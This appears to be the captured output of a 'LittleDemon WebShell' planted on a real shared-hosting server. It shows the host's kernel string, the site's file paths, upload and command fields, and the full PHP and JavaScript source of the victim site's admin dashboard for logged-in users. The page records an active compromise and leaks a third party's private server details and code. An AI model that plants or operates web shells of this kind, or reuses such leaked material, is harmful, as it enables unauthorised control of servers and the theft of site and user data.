LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/task.urbanpillar.in/public_html/dashboard/
File Upload :
Command :
Current File : /home/u901718425/domains/task.urbanpillar.in/public_html/dashboard/index.php

<?php
require_once "../db.php";
include('aside.php');

if (!isset($_SESSION['user_id']) && !isset($_SESSION['role'])) {
    header('location: /');
    exit;
} else if (isset($_SESSION['role']) && $_SESSION['role'] === 'user') {
    header('location: /');
    exit;
}

?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>Admin Dashboard</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" />
  <link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined" rel="stylesheet" />
  <link href="/style.css" rel="stylesheet" />
  <link href="/dashboard.css" rel="stylesheet" />
</head>

<body class="bg-light">
<div class="row m-0">
  <?= aside('Dashboard'); ?>

  <main class="col px-4">
    <div class="container-fluid">
      <!-- Summary Cards -->
      <section class="row g-4 mb-4">
        <div class="col-md-4">
          <div class="card dashboard-card shadow-sm p-3">
            <div class="d-flex align-items-center">
              <span class="material-symbols-outlined card-icon me-3">group</span>
              <div>
                <h6 class="mb-0">Logged-In Users</h6>
                <h3 id="user-count" class="fw-bold mb-0 counter">0</h3>
              </div>
            </div>
          </div>
        </div>
      </section>

      <!-- Date Picker -->
      <section class="card-body pb-2">
        <div class="d-flex align-items-center justify-content-between mb-3">
          <label for="log-date" class="form-label mb-0 me-2">Select Date:</label>
          <input type="date" class="form-control w-auto" id="log-date" max="<?= date('Y-m-d') ?>">
        </div>
      </section>

      <!-- User Logins -->
      <section class="card shadow-sm mb-4">
        <header class="card-header bg-white d-flex align-items-center">
          <span class="material-symbols-outlined me-2 text-primary">group</span>
          <strong><span id="dateChange">Today's</span> Logged-In Users</strong>
        </header>
        <div class="card-body p-0">
          <ul class="list-group list-group-flush" id="user-list">
            <li class="list-group-item text-center">Loading...</li>
          </ul>
        </div>
      </section>
    </div>
  </main>
</div>

<!-- Scripts -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>

<script>
function animateCounter(el, target) {
  const duration = 800;
  let start = 0;
  const step = Math.ceil(target / duration * 10);

  const counter = setInterval(() => {
    start += step;
    if (start >= target) {
      el.textContent = target;
      clearInterval(counter);
    } else {
      el.textContent = start;
    }
  }, 10);
}

function loadLoginsByDate(date) {
  $('#user-list').html(`<li class="list-group-item text-center">Loading...</li>`);
  $.get('/dashboard/get_today_logins.php', { date })
    .done(function (response) {
      const data = JSON.parse(response);
      const userList = $('#user-list');
      userList.empty();

      animateCounter(document.getElementById('user-count'), data.count);

      if (data.count === 0) {
        userList.append(`<li class="list-group-item text-center text-muted">No users logged in on ${date}.</li>`);
      } else {
        data.users.forEach((user) => {
          userList.append(`
            <li class="list-group-item d-flex justify-content-between align-items-center">
              <div>
                <span class="material-symbols-outlined text-success me-2">person</span>
                <strong>${user.user_name}</strong><br />
                <small class="text-muted">${user.email}</small>
              </div>
              <span class="badge bg-primary rounded-pill">${user.login_time}</span>
            </li>
          `);
        });
      }
    })
    .fail(function () {
      $('#user-list').html(`<li class="list-group-item text-danger text-center">Failed to load user data.</li>`);
    });
}

$(document).ready(function () {
  const today = new Date().toISOString().split('T')[0];
  $('#log-date').val(today);
  loadLoginsByDate(today);

  $('#log-date').on('change', function () {
    const selectedDate = $(this).val();
    const date = new Date(selectedDate);
    const formattedDate = date.toLocaleDateString('en-GB', {
      day: '2-digit', month: 'short', year: 'numeric'
    }).replace(/ /g, ' ');
    $('#dateChange').html(formattedDate);
    loadLoginsByDate(selectedDate);
  });
});
</script>
</body>
</html>

LittleDemon - FACEBOOK
[ KELUAR ]